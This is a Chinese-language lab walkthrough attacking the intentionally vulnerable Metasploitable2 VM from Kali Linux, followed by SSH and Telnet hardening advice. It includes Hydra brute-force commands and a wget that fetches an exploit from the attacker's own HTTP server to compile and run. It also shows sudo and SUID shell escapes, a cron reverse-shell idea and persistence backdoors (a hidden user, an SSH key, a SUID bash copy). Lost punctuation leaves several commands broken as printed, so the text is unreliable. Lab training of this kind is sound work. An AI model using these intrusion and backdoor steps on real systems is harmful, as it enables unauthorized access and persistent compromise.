Kali Linux渗透Metasploitable2:SSH与Telnet漏洞实战攻防
1. 项目概述一次从“敲门”到“登堂入室”的实战演练在网络安全的学习与实践中理论知识的掌握固然重要但真正的理解往往源于亲手操作。今天我们就来深入探讨一个经典的实战场景如何利用Kali Linux渗透测试发行版对一个名为Metasploitable2的故意留有漏洞的靶机发起一次从外部侦察到最终获取系统权限的完整攻击。这个项目的核心路径聚焦于两个古老但至今仍广泛存在尤其是在老旧或配置不当的系统上的服务SSH与Telnet。我们将从一个名为“端口敲门”的有趣技术开始逐步深入到利用弱口令、已知漏洞等手段最终实现权限提升。这不仅仅是一次工具使用的演示更是一次对攻击者思维和防御者盲点的系统性剖析。无论你是刚接触安全的新手还是希望巩固基础知识的从业者这篇详尽的实战记录都将为你提供清晰的步骤、背后的原理以及那些只有踩过坑才知道的注意事项。2. 环境搭建与目标侦察2.1 攻击与靶机平台准备工欲善其事必先利其器。我们的攻击平台是Kali Linux这是一个专为渗透测试和网络安全审计设计的操作系统预装了数百种安全工具。你可以将其安装在物理机、虚拟机如VMware Workstation或VirtualBox中。我个人的习惯是在VMware中安装并配置为“桥接”网络模式这样Kali虚拟机会获得与宿主机同网段的独立IP地址便于与靶机通信。注意确保你的虚拟网络配置正确。如果Kali无法ping通宿主机或网关检查虚拟机网络适配器设置是否为桥接模式并确认宿主机的防火墙没有阻止ICMP协议。靶机我们选择Metasploitable2。它是一个基于Ubuntu 8.04的Linux虚拟机被故意配置了众多存在漏洞的服务和弱配置是安全学习者绝佳的练习目标。从官方渠道下载OVA或镜像文件后同样在虚拟机软件中导入并启动。关键一步将Metasploitable2的网络也设置为桥接模式确保它与Kali Linux在同一局域网内。启动后系统通常会自动通过DHCP获取IP地址。2.2 信息收集与目标定位攻击的第一步永远是信息收集。我们需要找到靶机在哪里以及它开放了哪些门端口。首先在Kali Linux中打开终端我们需要确定当前网络的网段。使用ifconfig或ip addr命令查看Kali自身的IP地址例如192.168.1.105那么我们的扫描范围可能就是192.168.1.0/24。接下来使用Nmap进行主机发现和端口扫描。Nmap是网络探索和安全审计的瑞士军刀。我们执行一个综合扫描sudo nmap -sS -sV -O -p- 192.168.1.0/24-sS: TCP SYN扫描一种半开放扫描速度快且相对隐蔽。-sV: 探测开放端口上运行的服务及其版本信息这对寻找特定漏洞至关重要。-O: 尝试识别目标主机的操作系统。-p-: 扫描所有65535个端口避免遗漏非标准端口。扫描完成后我们从结果中寻找运行着许多已知服务如Apache、vsftpd、SSH等且版本可能较旧的主机那很可能就是Metasploitable2。假设我们找到了目标IP192.168.1.108。针对该IP进行更细致的扫描sudo nmap -sS -sV -sC -O -A -T4 192.168.1.108-sC: 使用默认的Nmap脚本进行更深入的探测。-A: 启用操作系统检测、版本检测、脚本扫描和traceroute。-T4: 指定扫描速度T4为较快速度平衡了速度和隐蔽性。扫描报告会详细列出所有开放端口。在Metasploitable2上你会看到一串长长的列表包括21FTP、22SSH、23Telnet、80HTTP等。我们的焦点是22和23端口。3. 核心攻击路径解析SSH与Telnet的弱点3.1 Telnet服务明文传输与弱口令的“重灾区”Telnet是一个古老的远程登录协议其最大的问题在于所有通信包括用户名和密码都以明文形式传输。这意味着任何能够截获网络流量的人都可以轻易获取登录凭证。在Metasploitable2上Telnet服务端口23是默认开放的并且很可能存在弱口令。攻击方法非常直接暴力破解。我们可以使用Hydra、Medusa等工具。以Hydra为例hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.108 telnet-l root: 指定尝试的用户名为root在Metasploitable2上root用户可能允许远程登录这本身就是一个配置错误。-P ...: 指定密码字典。rockyou.txt是Kali自带的一个著名弱口令字典。最后指定协议和目标。这个命令会尝试用字典中的每一个密码去登录root账户。由于Telnet没有加密开销破解速度很快。实操心得在实际测试中Metasploitable2的root密码很可能就是root或者空密码。你可以先手动尝试一下节省时间。telnet 192.168.1.108连接后输入用户名root密码root或直接回车。如果成功你将获得一个root shell。是的通过Telnet一步到位就拿到了最高权限这赤裸裸地展示了使用明文协议和弱口令的致命性。3.2 SSH服务加密下的脆弱配置SSHSecure Shell相比Telnet是巨大的进步它通过加密保护了通信内容。然而不安全的配置同样会带来风险。Metasploitable2上的SSH服务端口22可能存在以下几种问题弱口令和Telnet一样用户可能设置了简单的密码。允许root登录在/etc/ssh/sshd_config中如果PermitRootLogin设置为yes攻击者就可以直接暴力破解root账户。使用旧版或不安全的协议如支持SSHv1该版本存在缺陷。已知漏洞特定版本的SSH服务软件可能存在远程代码执行漏洞。我们的攻击可以从暴力破解开始使用Hydra针对SSHhydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.108 ssh或者如果我们通过信息收集例如从网站漏洞中获得了其他用户名如msfadmin可以针对该用户进行破解hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt 192.168.1.108 ssh注意事项SSH的加密过程使得每次登录尝试都比Telnet耗时更长。为了提高效率可以使用-t参数增加并行任务数例如-t 4。使用更精准的字典而不是庞大的rockyou.txt开头部分。如果目标有账户锁定机制暴力破解可能会触发锁定。除了暴力破解如果SSH服务版本存在已知漏洞可以通过nmap -sV的结果与漏洞库比对我们可以尝试利用。例如寻找对应的Metasploit模块。3.3 端口敲门一道隐蔽的“暗门”端口敲门是一种有趣的隐蔽服务访问技术。它的原理是服务端口如SSH的22端口默认是关闭的。只有客户端按照特定顺序和协议如TCP、UDP向一系列指定的“敲门端口”发送数据包后防火墙规则才会临时打开目标端口一段时间。在Metasploitable2上可能配置了端口敲门来保护SSH服务。这意味着直接扫描22端口可能是关闭的你需要先完成“敲门”序列。假设我们通过其他途径如源码泄露、配置错误得知敲门序列是1000/tcp,2000/udp,3000/tcp。我们可以使用Nmap或简单的netcatnc来完成敲门# 使用nc nc -z 192.168.1.108 1000 # 敲第一个TCP门 nc -zu 192.168.1.108 2000 # 敲第二个UDP门 (-u 参数) nc -z 192.168.1.108 3000 # 敲第三个TCP门 # 或者使用nmap但注意nmap默认发送的探测包可能不符合敲门守护进程的预期有些实现只监听SYN包。 # 更可靠的方法是使用hping3或自己构造数据包。敲门完成后迅速使用Nmap扫描22端口或者直接尝试SSH连接ssh msfadmin192.168.1.108核心原理与避坑端口敲门的安全性建立在序列的保密性上。一旦序列泄露其保护作用就消失了。此外敲门操作必须在较短时间窗口内完成。作为攻击方获取敲门序列可能需要社会工程学、流量监听如果其他用户敲门或系统其他漏洞。作为防御方端口敲门增加了隐蔽性但不应作为唯一的安全措施必须配合强密码、密钥认证等。4. 权限提升与后渗透初步假设我们通过Telnet弱口令root/root成功登录或者通过SSH暴力破解进入了msfadmin账户密码可能是msfadmin。现在我们获得了初始立足点但可能不是最高权限例如以msfadmin登录。4.1 信息搜集内部在获得的shell中首先进行内部信息搜集id: 查看当前用户和所属组。uname -a: 查看系统内核版本。cat /etc/passwd: 查看系统所有用户。sudo -l:非常关键查看当前用户可以使用sudo以root权限运行哪些命令。如果配置不当可能直接找到提权路径。find / -perm -us -type f 2/dev/null: 查找SUID位设置的文件。SUID文件在执行时会以文件所有者的权限运行。如果找到一个属于root且SUID设置了的bash或python可能就是提权捷径。4.2 利用内核漏洞提权在Metasploitable2Ubuntu 8.04上内核版本较旧存在公开的本地提权漏洞。我们可以使用uname -a查看内核版本例如2.6.24-16-server。然后在Kali上搜索或利用searchsploit查找对应版本的漏洞利用代码。# 在Kali上 searchsploit linux kernel 2.6.24 privilege escalation会列出多个可能的漏洞例如Linux Kernel 2.6.22 3.9 - ‘Dirty COW’ /proc/self/mem Race Condition Privilege Escalation。但Dirty Cow漏洞影响范围更广这里只是举例。我们需要找到适用于2.6.24的可靠利用代码。找到后将利用代码一个.c文件通过某种方式传输到靶机上。如果靶机有网络访问权限且安装了编译器gcc可以直接下载编译。如果没有网络可以从Kali搭建一个简单的HTTP服务器# 在Kali上在存放exp.c的目录 python3 -m http.server 8080然后在靶机shell中下载# 在靶机上 wget http://192.168.1.105:8080/exp.c gcc exp.c -o exp chmod x exp ./exp如果漏洞利用成功你会看到一个#提示符的root shell。重大注意事项在真实环境中利用内核漏洞提权风险极高可能导致系统崩溃蓝屏/死机。务必只在授权的测试环境或像Metasploitable2这样的专用靶机上进行。在编译exp前最好先查看代码理解其原理。4.3 利用配置错误提权除了内核漏洞系统配置错误是更常见的提权途径。sudo滥用如果sudo -l显示当前用户可以无密码以root身份运行某些命令例如/usr/bin/vim那么可以sudo vim /etc/passwd在vim中输入:!bash或:sh即可启动一个root shell。SUID文件如果找到/usr/bin/find设置了SUID位实际在Metasploitable2中可能存在可以find / -exec /bin/bash -p \;计划任务Cron Jobs检查/etc/crontab看是否有以root身份运行的可写脚本。如果有可以修改该脚本加入反向shell命令等待计划任务执行。5. 防御视角与安全加固建议通过这次实战我们站在攻击者的角度看到了SSH和Telnet服务可能存在的诸多问题。现在让我们换位思考如何防御此类攻击。5.1 Telnet服务直接禁用对于任何现代生产环境首要且最有效的建议是彻底禁用Telnet服务。使用SSH作为唯一的远程管理协议。Ubuntu/Debian:sudo systemctl disable --now telnet.socket(如果存在)更彻底的是卸载Telnet服务器软件包。5.2 SSH服务安全加固SSH是运维的生命线必须严加防护。禁止root直接登录编辑/etc/ssh/sshd_config设置PermitRootLogin no。使用普通用户登录后再通过su或sudo切换权限。使用密钥认证禁用密码认证这是最强大的单点加固措施。生成SSH密钥对将公钥上传到服务器的~/.ssh/authorized_keys文件中然后在sshd_config中设置PasswordAuthentication no。彻底杜绝暴力破解。修改默认端口将SSH端口从22改为一个高位端口如2222或3522。这不能算作安全措施但可以显著减少互联网上自动化脚本的扫描和攻击噪音。在配置文件中修改Port项。使用强密码策略如果必须使用密码认证确保密码长度、复杂度足够并定期更换。限制访问来源利用防火墙如iptables或ufw只允许特定的、可信的IP地址或IP段访问SSH端口。使用Fail2ban这是一个日志分析工具可以监控SSH登录失败日志当同一IP在短时间内失败次数过多时自动将其IP加入防火墙黑名单一段时间。保持软件更新及时更新SSH服务端openssh-server到最新版本修复已知漏洞。禁用不安全的协议和算法在sshd_config中明确禁用SSHv1并考虑禁用一些已知较弱的加密算法和MAC算法。5.3 关于端口敲门的思考端口敲门可以作为深度防御的一层增加系统的隐蔽性。但它绝不能替代上述加固措施。它的作用类似于一个“暗号”只有知道暗号的人才知道门在哪里。然而一旦暗号泄露例如通过键盘记录、流量分析或内部人员泄露这层防护就失效了。因此它更适合作为一个补充的、增加攻击复杂度的措施与强认证密钥、访问控制防火墙结合使用。5.4 系统层面加固最小权限原则用户和服务只应拥有完成其任务所必需的最小权限。避免使用root账户进行日常操作。定期更新与补丁管理为操作系统和应用软件及时安装安全补丁尤其是公开披露的高危漏洞。入侵检测与日志审计配置并监控系统日志如/var/log/auth.log,/var/log/syslog使用工具如AIDE高级入侵检测环境检查文件完整性。关闭不必要的服务使用netstat -tulpn或ss -tulpn查看所有监听端口关闭任何非必需的服务。6. 常见问题与排查实录在实战过程中你可能会遇到以下问题问题1Nmap扫描不到Metasploitable2靶机。排查首先确认两台虚拟机网络模式均为“桥接”Bridge。在Kali和Metasploitable2中分别执行ip addr或ifconfig查看IP地址是否在同一网段如192.168.1.x。如果Metasploitable2没有获取到IP尝试重启网络服务sudo /etc/init.d/networking restart或检查虚拟机网络设置。解决确保主机防火墙没有阻止虚拟机间的通信。可以尝试从Kali ping靶机的IP或从靶机ping Kali的IP。问题2Hydra暴力破解SSH速度极慢且很快中断。排查这可能是网络延迟、目标SSH服务配置了登录延迟如LoginGraceTime或失败限制如MaxAuthTries或者触发了系统的fail2ban。解决使用-t参数增加线程数如-t 16。使用更小、更精准的字典。如果目标有fail2ban暴力破解不是好方法应转向其他攻击面如社会工程学、漏洞利用。问题3利用内核漏洞exp编译失败或执行后系统崩溃。排查exp代码可能依赖于特定的内核版本或编译环境如gcc版本、内核头文件。解决在靶机上安装必要的开发工具包sudo apt-get update sudo apt-get install build-essential linux-headers-$(uname -r)。仔细阅读exp代码中的说明查看是否有编译参数要求。在互联网上搜索该exp的“使用说明”或“踩坑记录”。最重要在测试环境中先验证。系统崩溃是内核漏洞利用的常见风险。问题4通过Telnet登录后命令行界面显示异常或按键错乱。排查Telnet协议对终端类型的处理可能不完善。解决尝试在登录后设置终端类型export TERMxterm然后执行reset命令。或者使用更稳定的SSH连接如果你已经获得了密码。问题5提权后想维持持久化访问留后门但不知道如何下手。思路常见的持久化方法有添加用户useradd -m -s /bin/bash backdoor_user echo ‘backdoor_user:password’ | chpasswd并可能将其加入sudo组。SSH密钥后门将攻击者的公钥写入root或高权限用户的.ssh/authorized_keys文件中。计划任务在/etc/crontab中添加定期连接反弹shell的任务。SUID后门复制/bin/bash并设置SUID位cp /bin/bash /tmp/.shell chmod 4755 /tmp/.shell之后执行/tmp/.shell -p即可获得root shell。动态链接库注入更隐蔽但更复杂。注意在授权测试中留后门前必须获得明确许可。在真实渗透测试报告中需详细记录后门位置和清除方法。7. 工具链的深入与替代方案本次实战主要使用了Nmap、Hydra、Netcat等经典工具。实际上Kali Linux的工具箱远不止这些。针对同一目标你可以尝试不同的工具和方法以加深理解主机发现除了Nmap可以用netdiscoverARP扫描局域网内极快或Masscan全网高速扫描。服务识别除了Nmap的-sV可以用Amass进行更全面的子域名和资产发现或者用WhatWeb、Wappalyzer浏览器插件识别Web技术栈。SSH暴力破解除了Hydra可以尝试Medusa据说在某些情况下更快、Patator模块化设计或Ncrack来自Nmap团队。漏洞利用Metasploit FrameworkMSF是自动化漏洞利用的标杆。你可以搜索针对特定SSH服务版本的MSF模块。例如在MSF控制台里search ssh_version然后使用对应的扫描模块确认版本再搜索相关漏洞利用模块。后渗透与横向移动获得shell后可以使用MeterpreterMSF的payload获得更强大的交互会话或者使用Cobalt Strike、Empire等高级框架进行命令控制和横向移动。我个人在多次实战中发现工具是死的思路是活的。最有效的攻击往往不是用最炫酷的工具而是对目标系统最深入的理解和最简单的技术组合。例如一个弱口令的危害可能远大于一个复杂的远程代码执行漏洞因为前者更常见利用门槛更低。因此在练习时不要只满足于运行成功的命令多问问自己这个服务为什么存在这个配置为什么错误如果我是管理员我该如何发现并修复它这种双向思考才是从“脚本小子”走向安全专家的关键。